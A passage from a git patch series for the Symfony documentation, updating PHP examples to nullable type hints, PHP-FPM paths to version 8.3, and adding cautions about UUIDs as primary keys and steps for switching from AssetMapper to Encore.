-    $dateCallback = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) {
+    $dateCallback = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) {
         return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ISO8601) : '';
     };
 
@@ -1605,7 +1605,7 @@ having unique identifiers::
     $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
 
     // all callback parameters are optional (you can omit the ones you don't use)
-    $maxDepthHandler = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) {
+    $maxDepthHandler = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) {
         return '/foos/'.$innerObject->id;
     };
 
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 8424702c19d..6a8b343ceca 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -216,7 +216,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
 
     class MyCustomProblemNormalizer implements NormalizerInterface
     {
-        public function normalize($exception, string $format = null, array $context = [])
+        public function normalize($exception, ?string $format = null, array $context = [])
         {
             return [
                 'content' => 'This is my custom problem normalizer.',
@@ -227,7 +227,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
             ];
         }
 
-        public function supportsNormalization($data, string $format = null)
+        public function supportsNormalization($data, ?string $format = null)
         {
             return $data instanceof FlattenException;
         }
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 48dc03f0797..8244c41b74a 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -459,7 +459,7 @@ The type would now look like::
                 ])
             ;
 
-            $formModifier = function (FormInterface $form, Sport $sport = null) {
+            $formModifier = function (FormInterface $form, ?Sport $sport = null) {
                 $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                 $form->add('position', EntityType::class, [
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index c5716b3f111..3ae6b20bc44 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -68,7 +68,7 @@ version string::
          * @param string      $manifestPath
          * @param string|null $format
          */
-        public function __construct(string $manifestPath, string $format = null)
+        public function __construct(string $manifestPath, ?string $format = null)
         {
             $this->manifestPath = $manifestPath;
             $this->format = $format ?: '%s?%s';
diff --git a/http_client.rst b/http_client.rst
index d324b65bba8..8a344e552a2 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1651,7 +1651,7 @@ If you want to extend the behavior of a base HTTP client, you can use
     {
         private $decoratedClient;
 
-        public function __construct(HttpClientInterface $decoratedClient = null)
+        public function __construct(?HttpClientInterface $decoratedClient = null)
         {
             $this->decoratedClient = $decoratedClient ?? HttpClient::create();
         }
@@ -1667,7 +1667,7 @@ If you want to extend the behavior of a base HTTP client, you can use
             return $response;
         }
 
-        public function stream($responses, float $timeout = null): ResponseStreamInterface
+        public function stream($responses, ?float $timeout = null): ResponseStreamInterface
         {
             return $this->decoratedClient->stream($responses, $timeout);
         }
diff --git a/messenger.rst b/messenger.rst
index ea8a66ae8cc..a93967a4a17 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2220,7 +2220,7 @@ provided in order to ease the declaration of these special handlers::
     {
         use BatchHandlerTrait;
 
-        public function __invoke(MyMessage $message, Acknowledger $ack = null)
+        public function __invoke(MyMessage $message, ?Acknowledger $ack = null)
         {
             return $this->handle($message, $ack);
         }
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index dcd7b26971b..0ae6441564f 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -50,7 +50,7 @@ Here is a simplified example of a database transport::
         /**
          * @param FakeDatabase $db is used for demo purposes. It is not a real class.
          */
-        public function __construct(FakeDatabase $db, SerializerInterface $serializer = null)
+        public function __construct(FakeDatabase $db, ?SerializerInterface $serializer = null)
         {
             $this->db = $db;
             $this->serializer = $serializer ?? new PhpSerializer();
diff --git a/notifier.rst b/notifier.rst
index fe3f0ff0ea5..7fc3ae67e84 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -778,7 +778,7 @@ and its ``asChatMessage()`` method::
             $this->price = $price;
         }
 
-        public function asChatMessage(RecipientInterface $recipient, string $transport = null): ?ChatMessage
+        public function asChatMessage(RecipientInterface $recipient, ?string $transport = null): ?ChatMessage
         {
             // Add a custom subject and emoji if the message is sent to Slack
             if ('slack' === $transport) {
diff --git a/profiler.rst b/profiler.rst
index 134a8336cf4..133296e9203 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -255,7 +255,7 @@ request::
 
     class RequestCollector extends AbstractDataCollector
     {
-        public function collect(Request $request, Response $response, \Throwable $exception = null)
+        public function collect(Request $request, Response $response, ?\Throwable $exception = null)
         {
             $this->data = [
                 'method' => $request->getMethod(),
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index ad36a42abb8..71fd2ac5932 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -40,7 +40,7 @@ type. The ``Author`` class might look as follows::
     {
         protected $bioFile;
 
-        public function setBioFile(File $file = null)
+        public function setBioFile(?File $file = null)
         {
             $this->bioFile = $file;
         }
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 917335f49cb..c2c838db847 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -35,7 +35,7 @@ would be a ``file`` type. The ``Author`` class might look as follows::
     {
         protected $headshot;
 
-        public function setHeadshot(File $file = null)
+        public function setHeadshot(?File $file = null)
         {
             $this->headshot = $file;
         }
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 785853374b6..801dcfd0b5b 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -160,7 +160,7 @@ the value is removed from the collection. For example::
 
     $builder->add('users', CollectionType::class, [
         // ...
-        'delete_empty' => function (User $user = null) {
+        'delete_empty' => function (?User $user = null) {
             return null === $user || empty($user->getFirstName());
         },
     ]);
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 78fd55f99aa..22e603fc3a7 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -240,7 +240,7 @@ you do. The resource name itself is not actually used in the example::
     {
         private $isLoaded = false;
 
-        public function load($resource, string $type = null)
+        public function load($resource, ?string $type = null)
         {
             if (true === $this->isLoaded) {
                 throw new \RuntimeException('Do not add the "extra" loader twice');
@@ -267,7 +267,7 @@ you do. The resource name itself is not actually used in the example::
             return $routes;
         }
 
-        public function supports($resource, string $type = null)
+        public function supports($resource, ?string $type = null)
         {
             return 'extra' === $type;
         }
@@ -412,7 +412,7 @@ configuration file - you can call the
 
     class AdvancedLoader extends Loader
     {
-        public function load($resource, string $type = null)
+        public function load($resource, ?string $type = null)
         {
             $routes = new RouteCollection();
 
@@ -426,7 +426,7 @@ configuration file - you can call the
             return $routes;
         }
 
-        public function supports($resource, string $type = null)
+        public function supports($resource, ?string $type = null)
         {
             return 'advanced_extra' === $type;
         }
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 93448456cf0..6ab876d5c4a 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -40,7 +40,7 @@ unauthenticated user tries to access a protected resource::
             $this->urlGenerator = $urlGenerator;
         }
 
-        public function start(Request $request, AuthenticationException $authException = null): RedirectResponse
+        public function start(Request $request, ?AuthenticationException $authException = null): RedirectResponse
         {
             // add a custom flash message and redirect to the login page
             $request->getSession()->getFlashBag()->add('note', 'You have to login in order to access this page.');
diff --git a/security/login_link.rst b/security/login_link.rst
index 73df5906565..23756024712 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -312,7 +312,7 @@ This will send an email like this to the user:
 
         class CustomLoginLinkNotification extends LoginLinkNotification
         {
-            public function asEmailMessage(EmailRecipientInterface $recipient, string $transport = null): ?EmailMessage
+            public function asEmailMessage(EmailRecipientInterface $recipient, ?string $transport = null): ?EmailMessage
             {
                 $emailMessage = parent::asEmailMessage($recipient, $transport);
 
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 85044ed0f33..dd02db39bb1 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -33,7 +33,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             $this->normalizer = $normalizer;
         }
 
-        public function normalize($topic, string $format = null, array $context = [])
+        public function normalize($topic, ?string $format = null, array $context = [])
         {
             $data = $this->normalizer->normalize($topic, $format, $context);
 
@@ -45,7 +45,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             return $data;
         }
 
-        public function supportsNormalization($data, string $format = null, array $context = [])
+        public function supportsNormalization($data, ?string $format = null, array $context = [])
         {
             return $data instanceof Topic;
         }
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 593c968e12a..e7c172181c3 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -44,7 +44,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
             public $mode = 'strict';
 
             // all configurable options must be passed to the constructor
-            public function __construct(string $mode = null, string $message = null, array $groups = null, $payload = null)
+            public function __construct(?string $mode = null, ?string $message = null, ?array $groups = null, $payload = null)
             {
                 parent::__construct([], $groups, $payload);
 
@@ -270,9 +270,9 @@ define those options as public properties on the constraint class:
 
             public function __construct(
                 $mandatoryFooOption,
-                string $message = null,
-                bool $optionalBarOption = null,
-                array $groups = null,
+                ?string $message = null,
+                ?bool $optionalBarOption = null,
+                ?array $groups = null,
                 $payload = null,
                 array $options = []
             ) {

From ba2513721294ff8bb494aed171b51fa4f68433d6 Mon Sep 17 00:00:00 2001
From: Maxime Veber <nek.dev@gmail.com>
Date: Fri, 12 Apr 2024 09:52:49 +0200
Subject: [PATCH 6003/7107] Update php version in web_server_configuration.rst

---
 setup/web_server_configuration.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index cfd4ec1a0b7..1f62d5e9af6 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -36,7 +36,7 @@ listen on. Each pool can also be run under a different UID and GID:
 
 .. code-block:: ini
 
-    ; /etc/php/7.4/fpm/pool.d/www.conf
+    ; /etc/php/8.3/fpm/pool.d/www.conf
 
     ; a pool called www
     [www]
@@ -44,7 +44,7 @@ listen on. Each pool can also be run under a different UID and GID:
     group = www-data
 
     ; use a unix domain socket
-    listen = /var/run/php/php7.4-fpm.sock
+    listen = /var/run/php/php8.3-fpm.sock
 
     ; or listen on a TCP connection
     ; listen = 127.0.0.1:9000
@@ -72,7 +72,7 @@ directive to pass requests for PHP files to PHP FPM:
 
         <FilesMatch \.php$>
             # when using PHP-FPM as a unix socket
-            SetHandler proxy:unix:/var/run/php/php7.4-fpm.sock|fcgi://dummy
+            SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy
 
             # when PHP-FPM is configured to use TCP
             # SetHandler proxy:fcgi://127.0.0.1:9000
@@ -121,7 +121,7 @@ The **minimum configuration** to get your application running under Nginx is:
 
         location ~ ^/index\.php(/|$) {
             # when using PHP-FPM as a unix socket
-            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php8.3-fpm.sock;
 
             # when PHP-FPM is configured to use TCP
             # fastcgi_pass 127.0.0.1:9000;
@@ -198,7 +198,7 @@ When using Caddy on the server, you can use a configuration like this:
         file_server
 
         # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP)
-        php_fastcgi unix//var/run/php/php7.4-fpm.sock {
+        php_fastcgi unix//var/run/php/php8.3-fpm.sock {
             # optionally set the value of the environment variables used in the application
             # env APP_ENV "prod"
             # env APP_SECRET "<app-secret-id>"

From 3aa6914c2ee9b775b2cb4415e4ae607b8107729a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 15 Apr 2024 07:59:31 +0200
Subject: [PATCH 6004/7107] minor

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index c6c0da1f4d8..f4edb68c404 100644
--- a/testing.rst
+++ b/testing.rst
@@ -600,7 +600,7 @@ returns a ``Crawler`` instance.
 
 The full signature of the ``request()`` method is::
 
-    request(
+    public function request(
         string $method,
         string $uri,
         array $parameters = [],

From 82723f13a4e22cdf234158c9459f20b8d7ade092 Mon Sep 17 00:00:00 2001
From: Masaharu Suizu <30203831+suizumasahar01@users.noreply.github.com>
Date: Wed, 10 Apr 2024 19:48:20 +0900
Subject: [PATCH 6005/7107] [Console] Update monolog_console.rst

---
 logging/monolog_console.rst            |  1 +
 reference/constraints/UniqueEntity.rst | 12 ++++++------
 reference/twig_reference.rst           | 15 ++++++++++++---
 3 files changed, 19 insertions(+), 9 deletions(-)

diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 133185937c7..6df9111eca8 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -46,6 +46,7 @@ The example above could then be rewritten as::
 
         public function __construct(LoggerInterface $logger)
         {
+            parent::__construct();
             $this->logger = $logger;
         }
 
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 0f089b2518b..5ae4b29e8ed 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -211,8 +211,8 @@ Consider this example:
          * @ORM\Entity
          * @UniqueEntity(
          *     fields={"host", "port"},
-         *     errorPath="port",
-         *     message="This port is already in use on that host."
+         *     message="This port is already in use on that host.",
+         *     errorPath="port"
          * )
          */
         class Service
@@ -240,8 +240,8 @@ Consider this example:
         #[ORM\Entity]
         #[UniqueEntity(
             fields: ['host', 'port'],
-            errorPath: 'port',
             message: 'This port is already in use on that host.',
+            errorPath: 'port',
         )]
         class Service
         {
@@ -259,8 +259,8 @@ Consider this example:
             constraints:
                 - Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity:
                     fields: [host, port]
-                    errorPath: port
                     message: 'This port is already in use on that host.'
+                    errorPath: port
 
     .. code-block:: xml
 
@@ -276,8 +276,8 @@ Consider this example:
                         <value>host</value>
                         <value>port</value>
                     </option>
-                    <option name="errorPath">port</option>
                     <option name="message">This port is already in use on that host.</option>
+                    <option name="errorPath">port</option>
                 </constraint>
             </class>
 
@@ -300,8 +300,8 @@ Consider this example:
             {
                 $metadata->addConstraint(new UniqueEntity([
                     'fields' => ['host', 'port'],
-                    'errorPath' => 'port',
                     'message' => 'This port is already in use on that host.',
+                    'errorPath' => 'port',
                 ]));
             }
         }
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 481cbd23898..1c20264352c 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -391,9 +391,18 @@ humanize
 ``text``
     **type**: ``string``
 
-Makes a technical name human readable (i.e. replaces underscores by spaces
-or transforms camelCase text like ``helloWorld`` to ``hello world``
-and then capitalizes the string).
+Transforms the given string into a human readable string (by replacing underscores
+with spaces, capitalizing the string, etc.) It's useful e.g. when displaying
+the names of PHP properties/variables to end users:
+
+.. code-block:: twig
+
+    {{ 'dateOfBirth'|humanize }}    {# renders: Date of birth #}
+    {{ 'DateOfBirth'|humanize }}    {# renders: Date of birth #}
+    {{ 'date-of-birth'|humanize }}  {# renders: Date-of-birth #}
+    {{ 'date_of_birth'|humanize }}  {# renders: Date of birth #}
+    {{ 'date of birth'|humanize }}  {# renders: Date of birth #}
+    {{ 'Date Of Birth'|humanize }}  {# renders: Date of birth #}
 
 .. _reference-twig-filter-trans:
 

From f2de30473652fc18a6085030c9e1aa9a8537379f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 16:04:07 +0200
Subject: [PATCH 6006/7107] [Uid] Add a caution message about using UUIDs as
 primary keys

---
 components/uid.rst | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index e64eabee0fb..4830be747b2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -344,6 +344,14 @@ entity primary keys::
         // ...
     }
 
+.. caution::
+
+    Using UUIDs as primary keys is usually not recommended for performance reasons:
+    indexes are slower and take more space (because UUIDs in binary format take 128 bits
+    instead of 32/64 bits for auto-incremental integers) and the non-sequential nature of
+    UUIDs fragments indexes. UUID v7 is the only variant that solves the fragmentation
+    issue (but the index size issue remains).
+
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query
 (e.g. ``->findOneBy(['user' => $user->getUuid()])``). However, when using DQL
@@ -530,9 +538,15 @@ entity primary keys::
         }
 
         // ...
-
     }
 
+.. caution::
+
+    Using ULIDs as primary keys is usually not recommended for performance reasons.
+    Although ULIDs don't suffer from index fragmentation issues (because the values
+    are sequential), their indexes are slower and take more space (because ULIDs
+    in binary format take 128 bits instead of 32/64 bits for auto-incremental integers).
+
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these ULID types to build the SQL query
 (e.g. ``->findOneBy(['user' => $user->getUlid()])``). However, when using DQL

From 28eceb8039bfdc16f4de77e65cf5ea1ff8b20152 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Apr 2024 08:27:59 +0200
Subject: [PATCH 6007/7107] Add a reference

---
 components/uid.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 4830be747b2..16bd172ca6e 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -113,6 +113,8 @@ sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
     It's recommended to use UUIDv7 instead of UUIDv6 because it provides
     better entropy.
 
+.. _uid-uuid-v7:
+
 **UUID v7** (UNIX timestamp)
 
 Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp
@@ -347,10 +349,10 @@ entity primary keys::
 .. caution::
 
     Using UUIDs as primary keys is usually not recommended for performance reasons:
-    indexes are slower and take more space (because UUIDs in binary format take 128 bits
-    instead of 32/64 bits for auto-incremental integers) and the non-sequential nature of
-    UUIDs fragments indexes. UUID v7 is the only variant that solves the fragmentation
-    issue (but the index size issue remains).
+    indexes are slower and take more space (because UUIDs in binary format take
+    128 bits instead of 32/64 bits for auto-incremental integers) and the non-sequential
+    nature of UUIDs fragments indexes. :ref:`UUID v7 <uid-uuid-v7>` is the only
+    variant that solves the fragmentation issue (but the index size issue remains).
 
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query

From babae18a11a2c3e84de9d0448cbdb9def239b438 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Apr 2024 09:17:57 +0200
Subject: [PATCH 6008/7107] Tweaks

---
 reference/constraints/MacAddress.rst | 29 +++++++++++++++-------------
 1 file changed, 16 insertions(+), 13 deletions(-)

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index 93fe8142fc4..2958af49874 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -110,26 +110,29 @@ Parameter            Description
 
 **type**: ``string`` **default**: ``all``
 
-This determines exactly *how* the MAC address is validated. This option defines a
-lot of different possible values based on the type of MAC address that you want to allow/deny:
+.. versionadded:: 7.1
+
+    The ``type`` option was introduced in Symfony 7.1.
 
-================================  ==============================================================
-Parameter                         Description
-================================  ==============================================================
+This option defines the kind of MAC addresses that are allowed. There are a lot
+of different possible values based on your needs:
+
+================================  =========================================
+Parameter                         Allowed MAC addresses
+================================  =========================================
 ``all``                           All
 ``all_no_broadcast``              All except broadcast
+``broadcast``                     Only broadcast
 ``local_all``                     Only local
+``local_multicast_no_broadcast``  Only local and multicast except broadcast
+``local_multicast``               Only local and multicast
 ``local_no_broadcast``            Only local except broadcast
 ``local_unicast``                 Only local and unicast
-``local_multicast``               Only local and multicast
-``local_multicast_no_broadcast``  Only local and multicast except broadcast
-``universal_all``                 Only universal
-``universal_unicast``             Only universal and unicast
-``universal_multicast``           Only universal and multicast
-``unicast_all``                   Only unicast
 ``multicast_all``                 Only multicast
 ``multicast_no_broadcast``        Only multicast except broadcast
-``broadcast``                     Only broadcast
-===============  ==============================================================
+``unicast_all``                   Only unicast
+``universal_all``                 Only universal
+``universal_multicast``           Only universal and multicast
+================================  =========================================
 
 .. _`MAC address`: https://en.wikipedia.org/wiki/MAC_address

From 25c5adfcbb2c68ebe8261643afcebf53464206ea Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Wed, 3 Apr 2024 19:12:01 -0400
Subject: [PATCH 6009/7107] Updating prepend extension capabilities

---
 bundles/prepend_extension.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 2a5736c440e..807c7f18caf 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -171,6 +171,9 @@ method::
             $containerBuilder->prependExtensionConfig('framework', [
                 'cache' => ['prefix_seed' => 'foo/bar'],
             ]);
+
+            // prepend config from a file
+            $containerConfigurator->import('../config/packages/cache.php');
         }
     }
 
@@ -178,6 +181,12 @@ method::
 
     The ``prependExtension()`` method, like ``prepend()``, is called only at compile time.
 
+.. deprecated:: 7.1
+
+    The :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::import`
+    method behavior was modified in Symfony 7.1 to prepend config instead of appending. This behavior change only
+    affects to the ``prependExtension()`` method.
+
 Alternatively, you can use the ``prepend`` parameter of the
 :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension`
 method::

From a58dccf088719da4dceedc49dab3d5c18b2701b3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Apr 2024 17:01:53 +0200
Subject: [PATCH 6010/7107] Reword

---
 console/input.rst | 27 ++++++++++++++++-----------
 1 file changed, 16 insertions(+), 11 deletions(-)

diff --git a/console/input.rst b/console/input.rst
index f889926be59..6e7fc85a055 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -314,29 +314,34 @@ The above code can be simplified as follows because ``false !== null``::
 Fetching The Raw Command Input
 ------------------------------
 
-Sometimes, you may need to fetch the raw input that was passed to the command.
-This is useful when you need to parse the input yourself or when you need to
-pass the input to another command without having to worry about the number
-of arguments or options defined in your own command. This can be achieved
-thanks to the
-:method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens` method::
+Symfony provides a :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens`
+method to fetch the raw input that was passed to the command. This is useful if
+you want to parse the input yourself or when you need to pass the input to another
+command without having to worry about the number of arguments or options::
 
     // ...
     use Symfony\Component\Process\Process;
 
     protected function execute(InputInterface $input, OutputInterface $output): int
     {
-        // pass the raw input of your command to the "ls" command
-        $process = new Process(['ls', ...$input->getRawTokens(true)]);
+        // if this command was run as:
+        // php bin/console app:my-command foo --bar --baz=3 --qux=value1 --qux=value2
+
+        $tokens = $input->getRawTokens();
+        // $tokens = ['app:my-command', 'foo', '--bar', '--baz=3', '--qux=value1', '--qux=value2'];
+
+        // pass true as argument to not include the original command name
+        $tokens = $input->getRawTokens(true);
+        // $tokens = ['foo', '--bar', '--baz=3', '--qux=value1', '--qux=value2'];
+
+        // pass the raw input to any other command (from Symfony or the operating system)
+        $process = new Process(['app:other-command', ...$input->getRawTokens(true)]);
         $process->setTty(true);
         $process->mustRun();
 
         // ...
     }
 
-You can include the current command name in the raw tokens by passing ``true``
-to the ``getRawTokens`` method only parameter.
-
 .. versionadded:: 7.1
 
     The :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens`

From 4937afbab404e8fdeaa51d9cba2d7eaff2edc67d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Apr 2024 17:57:32 +0200
Subject: [PATCH 6011/7107] Minor reword

---
 bundles/prepend_extension.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 807c7f18caf..e4099d9f81a 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -181,11 +181,11 @@ method::
 
     The ``prependExtension()`` method, like ``prepend()``, is called only at compile time.
 
-.. deprecated:: 7.1
+.. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::import`
-    method behavior was modified in Symfony 7.1 to prepend config instead of appending. This behavior change only
-    affects to the ``prependExtension()`` method.
+    Starting from Symfony 7.1, calling the :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::import`
+    method inside ``prependExtension()`` will prepend the given configuration.
+    In previous Symfony versions, this method appended the configuration.
 
 Alternatively, you can use the ``prepend`` parameter of the
 :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension`

From 2c8bc90536e9be2b606044124ad186fad0b38e8f Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Mon, 15 Apr 2024 09:11:02 -0400
Subject: [PATCH 6012/7107] [AssetMapper][Encore] document switching from
 AssetMapper to Encore

---
 frontend.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/frontend.rst b/frontend.rst
index 6b7aa6f5048..05f7e6c69df 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -78,6 +78,26 @@ pre-processing CSS & JS and compiling and minifying assets.
 
 :doc:`Read the Encore Documentation </frontend/encore/index>`
 
+Switch from AssetMapper
+^^^^^^^^^^^^^^^^^^^^^^^
+
+By default, new Symfony webapp projects (created with ``symfony new --webapp myapp``)
+use AssetMapper. If you still need to use Webpack Encore, use the following steps to
+switch. This is best done on a new project and provides the same features (Turbo/Stimulus)
+as the default webapp.
+
+.. code-block:: terminal
+
+    # Remove AssetMapper & Turbo/Stimulus temporarily
+    $ composer remove symfony/ux-turbo symfony/asset-mapper symfony/stimulus-bundle
+
+    # Add Webpack Encore & Turbo/Stimulus back
+    $ composer require symfony/webpack-encore-bundle symfony/ux-turbo symfony/stimulus-bundle
+
+    # Install & Build Assets
+    $ npm install
+    $ npm run dev
+
 Stimulus & Symfony UX Components
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 2cbc55e95efc57d0204684843732ddfee3507f06 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Apr 2024 11:01:45 +0200
Subject: [PATCH 6013/7107] [Uid] Mention that UUID v6 also solves the index
 fragmentation issue

---
 components/uid.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 16bd172ca6e..d1d45752501 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -97,6 +97,8 @@ It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of
 ``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
 This makes it more secure and less prone to hash collisions.
 
+.. _uid-uuid-v6:
+
 **UUID v6** (reordered time-based)
 
 It rearranges the time-based fields of the UUIDv1 to make it lexicographically
@@ -351,8 +353,8 @@ entity primary keys::
     Using UUIDs as primary keys is usually not recommended for performance reasons:
     indexes are slower and take more space (because UUIDs in binary format take
     128 bits instead of 32/64 bits for auto-incremental integers) and the non-sequential
-    nature of UUIDs fragments indexes. :ref:`UUID v7 <uid-uuid-v7>` is the only
-    variant that solves the fragmentation issue (but the index size issue remains).
+    nature of UUIDs fragments indexes. :ref:`UUID v6 <uid-uuid-v6>` and :ref:`UUID v7 <uid-uuid-v7>`
+    are the only variants that solves the fragmentation issue (but the index size issue remains).
 
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query

From f42a61f8340e46aea4739786b7d932a97044a48d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Apr 2024 11:25:52 +0200
Subject: [PATCH 6014/7107] [Uid] Fix a typo

---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index d1d45752501..7b929500cee 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -354,7 +354,7 @@ entity primary keys::
     indexes are slower and take more space (because UUIDs in binary format take
     128 bits instead of 32/64 bits for auto-incremental integers) and the non-sequential
     nature of UUIDs fragments indexes. :ref:`UUID v6 <uid-uuid-v6>` and :ref:`UUID v7 <uid-uuid-v7>`
-    are the only variants that solves the fragmentation issue (but the index size issue remains).
+    are the only variants that solve the fragmentation issue (but the index size issue remains).
 
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query

From ca5065ae4a9fb67c0df28592916bff5a3f0cef0a Mon Sep 17 00:00:00 2001
From: Gaetan Rouseyrol <47118498+Te4g@users.noreply.github.com>
Date: Mon, 15 Apr 2024 13:04:27 +0200
Subject: [PATCH 6015/7107] [Scheduler] Remove incorrect mention of subtracting
 time from jitter

